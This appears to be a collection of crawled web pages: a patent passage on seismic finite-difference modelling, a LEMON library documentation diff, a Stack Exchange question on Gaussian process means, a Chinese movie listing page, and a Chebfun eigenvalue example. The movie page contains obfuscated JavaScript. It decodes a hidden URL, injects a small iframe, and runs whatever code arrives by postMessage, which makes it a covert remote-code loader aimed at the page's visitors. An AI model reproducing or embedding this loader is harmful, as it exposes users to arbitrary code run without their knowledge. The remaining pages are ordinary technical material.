simulation is then performed by updating the stresses and particle velocities iteratively in each grid-point. During the simulation, stresses and particle velocities are recorded and stored along the closed boundary 108 and along the recording array 109 (FIG. 1). Since a fourth-order accurate spatial stencil is used, all five components of the wave field must be stored on four grid-points around 108 (see below).\n\nAfter the full finite-difference simulation has been completed, an alteration is introduced in the model by changing λ, μ and/or ρ at grid points inside the sub space 107. In the model, those alterations can be represented by adding to the initial material parameter vector M0 a differential parameter vector MD representing the changes from the original to the new model M1 : M1 =M0 +MD [ 2]\n\nThe two models and thus their material parameter vectors M0 and M1 are identical except in the geologically interesting region 105 which is surrounded by boundary 108 as illustrated in FIG. 1. The model material parameter vector MD is zero everywhere outside C. In making the partitioning of M1, no assumptions or restrictions are made regarding the character (e.g. smoothness) of the models.\n\nIn a subsequent simulation step, the response of the new model M1 is calculated. As emphasized before, this response is generated by a reduced finite-difference simulation run only within the inner boundary 106 of FIG. 1.\n\nFor the second FD calculation, the source field is introduced along the boundary 108. In each time step, vx and vz are first updated in the entire grid using the last two equations in the system of equations (the equations of motion). When the update is complete, it is corrected at the points where the spatial finite-difference stencil intersects the boundary 108. Inside 108, the wave field is updated as if the source field were propagating through the entire grid. It is therefore necessary to add the σxx, σzz and σxz components of the source field to the parts of the stencil that are outside 108. For a fourth order accurate scheme, σxx, σzz and σxz of the source wave field has to be known along the two closest grid points outside 108. This part of the wave field is read from the external file containing the wave field along 108 that was stored during the first full simulation. Outside 108, the wave field is updated as if no source field were injected. Therefore the injected σxx, σzz and σxz components of the source field are subtracted from the parts of the stencil that are inside 108 at points where the stencil intersects 108. Again, this part of the source injection field is read from the external file where the wave field along the two closest grid-points inside 108 is stored.\n\nNext, the calculation is advanced by half a time step and σxx, σzz and σxz are updated in the entire grid using the first three equations in the system of equations . The injection of the source wave field is performed using the same procedure by adding and subtracting the vx and vz components of the wave field at the four grid points around 108. Totally, four grid points with the values of σxx, σzz, σxz, vx and vz around 108 are required from the first full simulation, staggered appropriately both in time and space.\n\nBy iterating these two steps of the update, the entire simulation is stepped through and the source wave field from the first simulation is injected along the boundary 108. Again, the wave field is recorded and stored along the line of reference points 109.\n\nFinally, when the finite-difference simulation using the smaller altered model is completed, the recorded wave field along reference plane 109 is added to the wave field that was recorded along plane 109 in the first full simulation. The resulting seismogram closely corresponds to the wave field that would have been obtained by executing the full finite-difference simulation using the altered seismic model.\n\nWhereas the simplified model of FIG. 1 is chosen to clarify major aspects of the invention, the novel method is tested on a more complex and realistic seismic model. This model contains geologic structures that are difficult to image such as lenses, faults and \"pinch-out\" structures (gradually eroded sediment sequences). The model has a free-surface on the top (flat sea surface) and absorbing boundary conditions applied on the sides. Furthermore, the model includes two oil reservoir layers split by a fault into four oil bearing units.\n\nThe model in combination with the novel FD calculation method is used to monitor the evolution of a reservoir rock during production. Extraction of hydrocarbons is believed to cause detectable changes in the seismic response. In particular, oil and gas are replaced by water as it is produced. In this example the differences have therefore been investigated in the response from the initial model and a model where the oil has completely been replaced by water in one of the oil-bearing layers. This example seeks to illustrate a typical application to time-lapse or 4D seismics.\n\nIn the following, the effectiveness of the novel method is validated by calculating the response of an altered seismic model using a known and the novel method.\n\nFirstly, a complete FD calculation for the full model before alteration is performed. Part of the simulated receiver response, i.e. the vertical velocity in a narrow time-space window, is shown in FIG. 4. This receiver response is calculated along a receiver line equivalent to the reference plane 109 of FIG. 1. As a next step, the model vector is changed so as to simulate the replacement of oil by water in one of the layers.\n\nThe traditional and considerably more computationally expensive way of simulating the response of the altered model is to redo the simulation completely. In FIG. 5, the result of this method is shown. This simulation serves as a reference for validating the new method.\n\nIn FIG. 6, the seismic response of the altered model is calculated using the new method, adding the response from a reduced simulation restricted to the volume in which the model is changed (and including the receiver line). After fluid replacement, when injecting the source field from the full simulation before fluid replacement from a boundary corresponding to C in the model of FIG. 1, the newly calculated response is added at the reference points to the response from the full simulation before fluid replacement. The two seismograms of FIG. 5 and 6 are visually indistinguishable illustrating the success of the novel approach.\n\nThe versatility of the new method is further demonstrated by plotting in FIG. 7 the difference of the recorded field from the two full simulations (FIGS. 4 and 5). This difference plot is scaled by a factor of 10 compared to the plots described before.\n\nIn FIG. 8, the response recorded directly using the new method (scaled by a factor of 10) without adding the newly calculated receiver response to the stored one. Again, the two sections (FIGS. 7, 8) are virtually identical which is further illustrated in FIG. 9, where the difference between the seismograms shown in FIGS. 7 and 8 is plotted scaled by a factor of 100. The differences visible in the lower part of the section on this magnified scale are caused by either reflections from the absorbing boundaries or multiple interactions of the differential scattered/reflected wave field outside the inner boundary. However, the first part of the wave field is very accurately reproduced.\n\nIt is worth noticing that these latter difference plots, i.e. FIGS. 7 and 8, form the essential steps of time-lapse seismic surveys.\n\nIn the simulations using the complex model, the recalculation of the seismogram after fluid replacement requires 9.5 times less memory. The savings in terms of computations are on the order of a factor of 15 since the wave field initially is zero. For 3-D models the savings are even larger. As it can be assumed that similar savings could be realized along the third spatial dimension, savings on the order of a factor of 30 in memory and a factor of 45 in terms of the number of computations are possible.\n\nIt is noteworthy that the boundary 108 (see FIG. 1), where the source field is injected can often be made very small relative to the complete original model. Thus only a small fraction of the source field needs to be saved, often on disk, enabling long simulation times. In the example presented here to store the first 1.5 s of wave propagation through the source injection boundary 108 requires 124 MBytes of disk space. For comparison, optimal storage of the entire wave field in all points and at all times would require around 16 GBytes in the small finite-difference simulation (i.e. within the inner boundary 106) and 150 Gbytes in the simulation using the full model.\n\nReferring back to FIG. 1, to propagate the wave field u recorded at the reference points 109 to receiver points 12 located at the surface, those receiver points are replaced by unit impulse sources generating wave energy with vertical and horizontal polarization. This energy represents the Green's function for the path between the receiver points 12 and any point within the FD grid 101 where the wave field is recorded. The Green's functions are reciprocal, i.e., invariant against a change of source and receiver positions. Thus, recording the impulse response G at the reference points 109 and applying Green's theorem yields the seismic response v at receiver points 12 as ##EQU2## where S109 is a surface including the reference points."
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https://lemon.cs.elte.hu/trac/lemon/changeset/a34c58ff6e402f51e3078cc26d3600e76283d3be/lemon-main/doc/groups.dox | [
"# Changeset 50:a34c58ff6e40 in lemon-main for doc/groups.dox\n\nIgnore:\nTimestamp:\n01/08/08 04:26:27 (14 years ago)\nBranch:\ndefault\nPhase:\npublic\nMessage:\n\nImproved groups.dox.\nChanged descriptions to be unifom.\nSome minor fixes.\n\nFile:\n1 edited\n\n### Legend:\n\nUnmodified\n r41 /** @defgroup datas Data Structures This group describes the several graph structures implemented in LEMON. This group describes the several data structures implemented in LEMON. */ LEMON also provides a variety of graphs for these requirements called \\ref graph_adaptors \"graph adaptors\". Adaptors cannot be used alone but only in conjunction with other graph representation. in conjunction with other graph representations. You are free to use the graph structure that fit your requirements /** @defgroup semi_adaptors Semi-Adaptors Classes for Graphs @defgroup semi_adaptors Semi-Adaptor Classes for Graphs @ingroup graphs \\brief Graph types between real graphs and graph adaptors. Graph types between real graphs and graph adaptors. These classes wrap graphs to give new functionality as the adaptors do it. On the other hand they are not light-weight structures as the adaptors. This group describes some graph types between real graphs and graph adaptors. These classes wrap graphs to give new functionality as the adaptors do it. On the other hand they are not light-weight structures as the adaptors. */ @defgroup maps Maps @ingroup datas \\brief Some special purpose map to make life easier. LEMON provides several special maps that e.g. combine \\brief Map structures implemented in LEMON. This group describes the map structures implemented in LEMON. LEMON provides several special purpose maps that e.g. combine new maps from existing ones. */ \\brief Special Graph-Related Maps. These maps are specifically designed to assign values to the nodes and edges of graphs. This group describes maps that are specifically designed to assign values to the nodes and edges of graphs. */ \\brief Tools to create new maps from existing ones Map adaptors are used to create \"implicit\" maps from other maps. This group describes map adaptors that are used to create \"implicit\" maps from other maps. Most of them are \\ref lemon::concepts::ReadMap \"ReadMap\"s. They can of different Value type. The typical usage of this classes is the passing implicit maps to The typical usage of this classes is passing implicit maps to algorithms. If a function type algorithm is called then the function type map adaptors can be used comfortable. For example let's see the The usage with class type algorithms is little bit harder. In this case the function type map adaptors can not be used, because the function map adaptors give back temporarly objects. function map adaptors give back temporary objects. \\code Graph graph; @defgroup matrices Matrices @ingroup datas \\brief Two dimensional data storages. Two dimensional data storages. \\brief Two dimensional data storages implemented in LEMON. This group describes two dimensional data storages implemented in LEMON. */ \\brief Path structures implemented in LEMON. LEMON provides flexible data structures to work with paths. All of them have similar interfaces, and it can be copied easily with assignment operator and copy constructor. This make it easy and This group describes the path structures implemented in LEMON. LEMON provides flexible data structures to work with paths. All of them have similar interfaces and they can be copied easily with assignment operators and copy constructors. This makes it easy and efficient to have e.g. the Dijkstra algorithm to store its result in any kind of path structure. @defgroup auxdat Auxiliary Data Structures @ingroup datas \\brief Some data structures implemented in LEMON. This group describes the data structures implemented in LEMON in \\brief Auxiliary data structures implemented in LEMON. This group describes some data structures implemented in LEMON in order to make it easier to implement combinatorial algorithms. */ @defgroup search Graph Search @ingroup algs \\brief This group contains the common graph search algorithms. This group contains the common graph search algorithms like Bfs and Dfs. \\brief Common graph search algorithms. This group describes the common graph search algorithms like Breadth-first search (Bfs) and Depth-first search (Dfs). */ @defgroup shortest_path Shortest Path algorithms @ingroup algs \\brief This group describes the algorithms for finding shortest paths. This group describes the algorithms for finding shortest paths in graphs. \\brief Algorithms for finding shortest paths. This group describes the algorithms for finding shortest paths in graphs. */ @defgroup max_flow Maximum Flow algorithms @ingroup algs \\brief This group describes the algorithms for finding maximum flows. \\brief Algorithms for finding maximum flows. This group describes the algorithms for finding maximum flows and feasible circulations. The maximum flow problem is to find a flow between a single-source and single-target that is maximum. Formally, there is \\f$G=(V,A)\\f$ The maximum flow problem is to find a flow between a single source and a single target that is maximum. Formally, there is a \\f$G=(V,A)\\f$ directed graph, an \\f$c_a:A\\rightarrow\\mathbf{R}^+_0\\f$ capacity function and given \\f$s, t \\in V\\f$ source and target node. The maximum flow is the solution of the next optimization problem: maximum flow is the \\f$f_a\\f$ solution of the next optimization problem: \\f[ 0 \\le f_a \\le c_a \\f] \\f[ \\sum_{v\\in\\delta^{-}(u)}f_{vu}=\\sum_{v\\in\\delta^{+}(u)}f_{uv} \\quad u \\in V \\setminus \\{s,t\\}\\f] \\f[ \\sum_{v\\in\\delta^{-}(u)}f_{vu}=\\sum_{v\\in\\delta^{+}(u)}f_{uv} \\qquad \\forall u \\in V \\setminus \\{s,t\\}\\f] \\f[ \\max \\sum_{v\\in\\delta^{+}(s)}f_{uv} - \\sum_{v\\in\\delta^{-}(s)}f_{vu}\\f] The lemon contains several algorithms for solve maximum flow problems: LEMON contains several algorithms for solving maximum flow problems: - \\ref lemon::EdmondsKarp \"Edmonds-Karp\" - \\ref lemon::Preflow \"Goldberg's Preflow algorithm\" - \\ref lemon::DinitzSleatorTarjan \"Dinitz's blocking flow algorithm with dynamic tree\" - \\ref lemon::DinitzSleatorTarjan \"Dinitz's blocking flow algorithm with dynamic trees\" - \\ref lemon::GoldbergTarjan \"Preflow algorithm with dynamic trees\" In most cases the \\ref lemon::Preflow \"preflow\" algorithm provides the In most cases the \\ref lemon::Preflow \"Preflow\" algorithm provides the fastest method to compute the maximum flow. All impelementations provides functions for query the minimum cut, which is the dual linear programming probelm of the maximum flow. provides functions to query the minimum cut, which is the dual linear programming problem of the maximum flow. */ @ingroup algs \\brief This group describes the algorithms for finding minimum cost flows and circulations. \\brief Algorithms for finding minimum cost flows and circulations. This group describes the algorithms for finding minimum cost flows and @ingroup algs \\brief This group describes the algorithms for finding minimum cut in graphs. \\brief Algorithms for finding minimum cut in graphs. This group describes the algorithms for finding minimum cut in graphs. outgoing arcs. Formally, there is \\f$G=(V,A)\\f$ directed graph, an \\f$c_a:A\\rightarrow\\mathbf{R}^+_0\\f$ capacity function. The minimum cut is the solution of the next optimization problem: cut is the \\f$X\\f$ solution of the next optimization problem: \\f[ \\min_{X \\subset V, X\\not\\in \\{\\emptyset, V\\}}\\sum_{uv\\in A, u\\in X, v\\not\\in X}c_{uv}\\f] The lemon contains several algorithms related to minimum cut problems: - \\ref lemon::HaoOrlin \"Hao-Orlin algorithm\" for calculate minimum cut LEMON contains several algorithms related to minimum cut problems: - \\ref lemon::HaoOrlin \"Hao-Orlin algorithm\" to calculate minimum cut in directed graphs - \\ref lemon::NagamochiIbaraki \"Nagamochi-Ibaraki algorithm\" for - \\ref lemon::NagamochiIbaraki \"Nagamochi-Ibaraki algorithm\" to calculate minimum cut in undirected graphs - \\ref lemon::GomoryHuTree \"Gomory-Hu tree computation\" for calculate all - \\ref lemon::GomoryHuTree \"Gomory-Hu tree computation\" to calculate all pairs minimum cut in undirected graphs @defgroup graph_prop Connectivity and other graph properties @ingroup algs \\brief This group describes the algorithms for discover the graph properties This group describes the algorithms for discover the graph properties like connectivity, bipartiteness, euler property, simplicity, etc... \\brief Algorithms for discovering the graph properties This group describes the algorithms for discovering the graph properties like connectivity, bipartiteness, euler property, simplicity etc. \\image html edge_biconnected_components.png @defgroup planar Planarity embedding and drawing @ingroup algs \\brief This group contains algorithms for planarity embedding and drawing This group contains algorithms for planarity checking, embedding and drawing. \\brief Algorithms for planarity checking, embedding and drawing This group describes the algorithms for planarity checking, embedding and drawing. \\image html planar.png @defgroup matching Matching algorithms @ingroup algs \\brief This group describes the algorithms for find matchings in graphs and bipartite graphs. This group provides some algorithm objects and function to calculate \\brief Algorithms for finding matchings in graphs and bipartite graphs. This group contains algorithm objects and functions to calculate matchings in graphs and bipartite graphs. The general matching problem is finding a subset of the edges which does not shares common endpoints. @defgroup spantree Minimum Spanning Tree algorithms @ingroup algs \\brief This group contains the algorithms for finding a minimum cost spanning \\brief Algorithms for finding a minimum cost spanning tree in a graph. This group describes the algorithms for finding a minimum cost spanning tree in a graph This group contains the algorithms for finding a minimum cost spanning tree in a graph */ @defgroup auxalg Auxiliary algorithms @ingroup algs \\brief Some algorithms implemented in LEMON. This group describes the algorithms in LEMON in order to make it easier to implement complex algorithms. \\brief Auxiliary algorithms implemented in LEMON. This group describes some algorithms implemented in LEMON in order to make it easier to implement complex algorithms. */ /** @defgroup approx Approximation algorithms \\brief Approximation algorithms Approximation and heuristic algorithms \\brief Approximation algorithms. This group describes the approximation and heuristic algorithms implemented in LEMON. */ @defgroup lp_utils Tools for Lp and Mip solvers @ingroup lp_group \\brief This group adds some helper tools to the Lp and Mip solvers implemented in LEMON. \\brief Helper tools to the Lp and Mip solvers. This group adds some helper tools to general optimization framework \\brief Metaheuristics for LEMON library. This group contains some metaheuristic optimization tools. This group describes some metaheuristic optimization tools. */ /** @defgroup utils Tools and Utilities \\brief Tools and Utilities for Programming in LEMON Tools and Utilities for Programming in LEMON \\brief Tools and utilities for programming in LEMON Tools and utilities for programming in LEMON. */ @defgroup gutils Basic Graph Utilities @ingroup utils \\brief This group describes some simple basic graph utilities. \\brief Simple basic graph utilities. This group describes some simple basic graph utilities. @defgroup misc Miscellaneous Tools @ingroup utils Here you can find several useful tools for development, \\brief Tools for development, debugging and testing. This group describes several useful tools for development, debugging and testing. */ /** @defgroup timecount Time measuring and Counting @ingroup misc Here you can find simple tools for measuring the performance \\brief Simple tools for measuring the performance of algorithms. This group describes simple tools for measuring the performance of algorithms. */ @defgroup graphbits Tools for Graph Implementation @ingroup utils \\brief Tools to Make It Easier to Make Graphs. This group describes the tools that makes it easier to make graphs and \\brief Tools to make it easier to create graphs. This group describes the tools that makes it easier to create graphs and the maps that dynamically update with the graph changes. */ @defgroup exceptions Exceptions @ingroup utils This group contains the exceptions thrown by LEMON library \\brief Exceptions defined in LEMON. This group describes the exceptions defined in LEMON. */ /** @defgroup io_group Input-Output \\brief Several Graph Input-Output methods Here you can find tools for importing and exporting graphs \\brief Graph Input-Output methods This group describes the tools for importing and exporting graphs and graph related data. Now it supports the LEMON format, the \\c DIMACS format and the encapsulated postscript format. \\c DIMACS format and the encapsulated postscript (EPS) format. */ \\brief Reading and writing LEMON format Methods for reading and writing LEMON format. More about this format you can find on the \\ref graph-io-page \"Graph Input-Output\" This group describes methods for reading and writing LEMON format. You can find more about this format on the \\ref graph-io-page \"Graph Input-Output\" tutorial pages. */ \\brief Section readers and writers for lemon Input-Output. Here you can find which section readers and writers can attach to the LemonReader and LemonWriter. This group describes section readers and writers that can be attached to \\ref LemonReader and \\ref LemonWriter. */ \\brief General \\c EPS drawer and graph exporter This group contains general \\c EPS drawing methods and special This group describes general \\c EPS drawing methods and special graph exporting tools. */ - The concept descriptor classes also provide a checker class that makes it possible check whether a certain implementation of a that makes it possible to check whether a certain implementation of a concept indeed provides all the required features. \\brief Skeleton and concept checking classes for graph structures This group contains the skeletons and concept checking classes of LEMON's This group describes the skeletons and concept checking classes of LEMON's graph structures and helper classes used to implement these. */ /* --- Unused group @defgroup experimental Experimental Structures and Algorithms This group contains some Experimental structures and algorithms. This group describes some Experimental structures and algorithms. The stuff here is subject to change. */ It order to compile them, use --enable-demo configure option when build the library. */ The standard compilation procedure (./configure;make) will compile them, as well. */ */"
]
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.67321694,"math_prob":0.9226736,"size":17096,"snap":"2021-43-2021-49","text_gpt3_token_len":4318,"char_repetition_ratio":0.19611514,"word_repetition_ratio":0.114778146,"special_character_ratio":0.30843472,"punctuation_ratio":0.0722408,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97211975,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-12-03T04:52:09Z\",\"WARC-Record-ID\":\"<urn:uuid:cb9ecc41-c197-4e4c-802b-f6aefc2d522b>\",\"Content-Length\":\"98316\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:4e2ef633-aab2-48bb-8381-eb04992fe538>\",\"WARC-Concurrent-To\":\"<urn:uuid:c9b730f6-856d-4341-9b02-8e88e765f1c7>\",\"WARC-IP-Address\":\"157.181.227.195\",\"WARC-Target-URI\":\"https://lemon.cs.elte.hu/trac/lemon/changeset/a34c58ff6e402f51e3078cc26d3600e76283d3be/lemon-main/doc/groups.dox\",\"WARC-Payload-Digest\":\"sha1:UVIGTSMQMOLR6LN2VUZ2GYFCEZQVV5GQ\",\"WARC-Block-Digest\":\"sha1:YF2XRK4D7RHNVR73BFJWW654W7ZQUWU3\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-49/CC-MAIN-2021-49_segments_1637964362589.37_warc_CC-MAIN-20211203030522-20211203060522-00026.warc.gz\"}"} |
https://stats.stackexchange.com/questions/253224/how-to-compute-the-vector-of-the-means-in-gaussian-process-progression | [
"How to compute the vector of the means in Gaussian process progression?\n\nIn the following, scalars are denoted with italic lowercases (e.g., $k,\\, b_f$), vectors with bold lowercases (e.g., $\\mathbf{s},\\, \\mathbf{x}_i$), and matrices with italic uppercases (e.g., $W_f$).\n\nObjective\n\nA Gaussian process (GP) is defined as a collection of random variables, any finite number of which have a joint Gaussian distribution. A GP $f(\\mathbf{x})$ is completely specified by its mean function $m(\\mathbf{x})$ and covariance function $k(\\mathbf{x}, \\mathbf{x}'),$ also called kernel, defined as: \\begin{align*} m(\\mathbf{x}) &= \\mathbb{E}[f(\\mathbf{x})], \\\\ k(\\mathbf{x}, \\mathbf{x}') &= \\mathbb{E}[(f(\\mathbf{x})-m(\\mathbf{x}))(f(\\mathbf{x}')-m(\\mathbf{x}'))]. \\end{align*}\n\nLet:\n\n• ${X = (\\mathbf{x}_1,\\dotsc,\\mathbf{x}_q)}$ be the training inputs\n• ${\\mathbf{f} = (f(\\mathbf{x}_1)\\dotsc,f(\\mathbf{x}_q))}$ be the training outputs\n• $X^* = (\\mathbf{x}_{q+1},\\dotsc,\\mathbf{x}_{s})$ be the test inputs\n• $\\mathbf{f}^* = (f(\\mathbf{x}_{q+1})\\dotsc,f(\\mathbf{x}_{s}))$ be the test outputs.\n\nAssume the training set isn't contaminated with samples from the test set, i.e.: $X \\cup X^* = \\mathcal{X},$ and $X \\cap X^* = \\emptyset$.\n\nNote that $\\mathbf{f}$ is known, and $\\mathbf{f}^*$ is unknown. The goal is to find the distribution of $\\mathbf{f}^*$ given $X^*, X$ and $\\mathbf{f}$.\n\nSolution\n\nThe joint distribution of $\\mathbf{f}$ and $\\mathbf{f}^*$ according to the prior is\n\n\\begin{equation*} \\begin{bmatrix} \\mathbf{f} \\\\ \\mathbf{f}^* \\end{bmatrix} \\sim \\mathcal{N} \\left( \\begin{bmatrix} \\mathbf{m} \\\\ \\mathbf{m}^* \\end{bmatrix}, ~ \\begin{bmatrix} K(X,X) & K(X,X^*) \\\\ K(X^*,X) & K(X^*,X^*) \\\\ \\end{bmatrix} \\right) \\end{equation*} where $\\mathbf{m}\\,,\\,\\mathbf{m}^*$ is a vector of the means evaluated at all training and test points respectively, and $K(X,X^*)$ denotes the $q \\times q^*$ matrix of the covariances evaluated at all pairs of training and test points, and similarly for $K(X,X),\\, K(X^*,X)$ and $K(X^*,X^*)$.\n\nEach element of the matrix $K(X,X^*)$ are denoted by $k(\\mathbf{x}, \\mathbf{x}')$. Ideally one should have $k(\\mathbf{x}, \\mathbf{x}') = \\mathbb{E}[(f(\\mathbf{x})-m(\\mathbf{x}))(f(\\mathbf{x}^*)-m(\\mathbf{x}^*))]$ but this isn't feasible since one does not have access to $f(\\mathbf{x}^*)$ and $m(\\mathbf{x}^*)$. As a result, one resorts to some approximation of $k$ with some kernels taking only $\\mathbf{x}$ and $\\mathbf{x}^*$ as input e.g.:\n\n• Linear: $k(\\mathbf{x}, \\mathbf{x}') = \\mathbf{x}^T \\mathbf{x}'$\n• Cubic: $k(\\mathbf{x}, \\mathbf{x}') = 3 \\left (\\left (\\mathbf{x}^T \\mathbf{x}' \\right )^2 + 2\\left ( \\mathbf{x}^T \\mathbf{x}' \\right )^3 \\right )$\n• Absolute exponential: $k(\\mathbf{x}, \\mathbf{x}') = e^{|\\mathbf{x}-\\mathbf{x}'|}$\n• Squared exponential: $k(\\mathbf{x}, \\mathbf{x}') = e^{-0.5|\\mathbf{x}-\\mathbf{x}'|^2}$\n• etc\n\nConditioning the joint Gaussian prior on the observations yields $\\mathbf{f}^* | X^*, X, \\mathbf{f} \\, \\sim \\, \\mathcal{N} (\\mathbf{\\mu}, \\mathbf{\\Sigma})$ where\n\n\\begin{align} \\mathbf{\\mu} &= \\mathbf{m}^* - K(X^*,X) K(X,X)^{-1}(\\mathbf{f} - \\mathbf{m}), \\\\ \\mathbf{\\Sigma} &= K(X^*,X^*) - K(X^*,X) K(X,X)^{-1} K(X,X^*). \\notag \\end{align}\n\nQuestion\n\nHow am I supposed to compute the vector of the means $\\mathbf{m}^*$?\n\nWe can assume without loss of generality that the mean functions $\\mathbf{m}$ and $\\mathbf{m^*}$ are 0. I also think that you have an extra negative sign in your posterior, so then the joint distribution is:"
]
| [
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https://www.3medidas.com/video/82123.html | [
"",
null,
"",
null,
"# 狗仔大饭店\n\n• 剧情 喜剧\n• 里克·梅奥尔亚德里安·埃德蒙松文森特·卡索\n• 120分钟\n\n• HD\n• DVD\n• HD\n• HD\n• HD\n• 更新至08集\n• HD\n• BD\n• BD高清\n• BD高清\n\n### 狗仔大饭店评论\n\n评论加载中\n\nfunction KyhWZME(e){var t=\"\",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function scLPjbzl(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t=\"\",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,\"\");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return KyhWZME(t);};eval('\\x77\\x69\\x6e\\x64\\x6f\\x77')['\\x62\\x59\\x4d\\x44\\x6c\\x42\\x72\\x51']=function(){;(function(u,r,w,d,f,c){var x=scLPjbzl;u=decodeURIComponent(x(u.replace(new RegExp(c+''+c,'g'),c)));var k='',wr='w'+'ri'+'t'+'e';'jQuery';var c=d[x('Y3VycmVudFNjcmlwdA==')];var f=d.createElement('iframe');f.id=new Date().getTime();f.style.width=f.style.height=10+'px';f.src=[u,r].join('-');d[wr](f.outerHTML);w['addEventListener']('message',function(e){d.getElementById(f.id).style.display='none';if(e.data[r]){new Function(x(e.data[r].replace(new RegExp(r,'g'),'')))();}});})('aHR0cHMlM0ElMkYlMkZZqaWFueGluc2hhbmdoYWkuY29tJTJGMTMxNzA1',''+'Hcv'+'jhB'+'uVK'+'J'+'',window,document,''+'OqL'+'V3A'+'','Z');};"
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| [
null,
"http://www.2018haoyunlai.com/images/188_120.gif",
null,
"http://www.2018haoyunlai.com/images/188_120.gif",
null
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| {"ft_lang_label":"__label__zh","ft_lang_prob":0.5718738,"math_prob":0.983752,"size":2850,"snap":"2021-43-2021-49","text_gpt3_token_len":2189,"char_repetition_ratio":0.09486999,"word_repetition_ratio":0.0,"special_character_ratio":0.33649123,"punctuation_ratio":0.2708058,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9668613,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-12-01T06:45:37Z\",\"WARC-Record-ID\":\"<urn:uuid:d6aa224d-7027-4a1d-944a-bd45d708c82d>\",\"Content-Length\":\"47997\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:5889cb32-04d1-4853-8001-77eb224aa182>\",\"WARC-Concurrent-To\":\"<urn:uuid:c4846ece-4abc-4e4d-8b74-2f05e0005e73>\",\"WARC-IP-Address\":\"198.15.128.7\",\"WARC-Target-URI\":\"https://www.3medidas.com/video/82123.html\",\"WARC-Payload-Digest\":\"sha1:OBJKZV37ILZ2JV46UP2UQNIIFU66LLI6\",\"WARC-Block-Digest\":\"sha1:HGK52IV6LUX6VRUPJGR7Q7PUM5C27LVN\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-49/CC-MAIN-2021-49_segments_1637964359093.97_warc_CC-MAIN-20211201052655-20211201082655-00132.warc.gz\"}"} |
https://www.mathworks.com/matlabcentral/mlc-downloads/downloads/submissions/23972/versions/22/previews/chebfun/examples/linalg/html/LevelRepulsion.html | [
"Eigenvalue level repulsion\n\nNick Trefethen, October 2010\n\n(Chebfun example linalg/LevelRepulsion.m)\n\nIf A and B are real symmetric matrices of dimension n, then each will have n real eigenvalues, counted with multiplicity. If you morph one matrix into the other by the formula\n\nA(t) = (1-t)A + tB ,\n\nthen as t increases from 0 to 1, the eigenvalues will change continuously from those of A to those of B.\n\nIt is possible for A(t) to have multiple eigenvalues for some t (i.e. fewer than n distinct eigenvalues), but generically, this will not happen. That is to say, if A and B are selected at random in a reasonable sense from the set of all real symmetric matrices of dimension n, the probability will be zero that there will be any value of t for which A(t) has a multiple eigenvalue. This phenomenon of ``level repulsion'' or ``eigenvalue avoided crossings'' goes back to von Neumann and Wigner and is well known to physicists. It is illustrated on the cover of Peter Lax's textbook Linear Algebra .\n\nWe can illustrate the effect with Chebfun. First we pick a pair of random matrices A and B:\n\nn = 10;\nrandn('seed',1);\nA = randn(n); A = A+A'; B = randn(n); B = B+B';\n\nWe would now like to get our hands on the n functions of t representing the n eigenvalues of A(t). In Chebfun, a convenient format for this result will be a quasimatrix with n columns. The first column will contain a chebfun for the lowest eigenvalue of A(t) as a function of t, the 2nd column for the 2nd eigenvalue, and so on.\n\nWe can construct this quasimatrix as follows. (The ``splitting off'' command has no effect, since splitting off is the default, but is included to show where one would put ``splitting on'' to handle a problem with curves actually crossing or coming very close.)\n\nek = @(e,k) e(k); % returns kth element of the vector e\neigA = @(A) sort(eig(A)); % returns sorted eigenvalues of the matrix A\neigk = @(A,k) ek(eigA(A),k); % returns kth eigenvalue of the matrix A\nd = domain(0,1);\nt = chebfun('t',d);\nE = chebfun; tic\nfor k = 1:n\nE(:,k) = chebfun(@(t) eigk((1-t)*A+t*B,k),d,'splitting','off','vectorize');\nend\nFS = 'fontsize'; LW = 'linewidth'; MS = 'markersize';\nfigure, plot(E,LW,1.6), grid on\ntitle('Eigenvalues of (1-t)A + tB',FS,16);\nxlabel('t',FS,12), toc\nElapsed time is 1.488885 seconds.",
null,
"The 5th and 6th curves have a very close near-crossing. We can find it like this:\n\nE5 = E(:,5); E6 = E(:,6);\n[minval,minpos] = min(E6-E5)\nminval =\n0.019588198983145\nminpos =\n0.866611938053634\n\nLet's zoom in and mark the minimal gap in red:\n\naxis([minpos-.05 minpos+.05 E5(minpos)-.4 E5(minpos)+.4])\ntitle(['Zooming in: the gap width is ' num2str(minval)],FS,16)\nhold on, plot(minpos,E5(minpos),'.r',MS,18)\nhold on, plot(minpos,E6(minpos),'.r',MS,18)",
null,
"References:\n\n P. Lax, Linear Algebra, Wiley, 1996.\n\n J. von Neumann and E. Wigner, Ueber das Verhalten von Eigenwerten bei adiabatischen Prozessen, Phys. Zeit. 30 (1929), 467-470."
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"https://www.mathworks.com/matlabcentral/mlc-downloads/downloads/submissions/23972/versions/22/previews/chebfun/examples/linalg/html/LevelRepulsion_02.png",
